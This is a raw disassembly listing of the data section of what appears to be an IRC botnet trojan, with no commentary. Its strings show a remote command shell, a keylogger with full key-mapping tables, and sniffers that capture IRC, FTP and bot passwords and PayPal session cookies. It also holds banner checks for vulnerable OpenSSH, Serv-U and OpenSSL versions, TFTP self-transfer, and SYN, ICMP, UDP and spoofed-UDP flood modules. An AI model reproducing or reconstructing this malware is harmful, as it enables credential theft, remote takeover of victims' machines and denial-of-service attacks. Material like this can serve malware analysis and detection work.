'</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E54: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435718 dd offset off_435714 dd offset off_435710 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 0 db 0 db 3 dup(0) ; DATA XREF: ___:off_435714o dd 3 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo align 10h off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 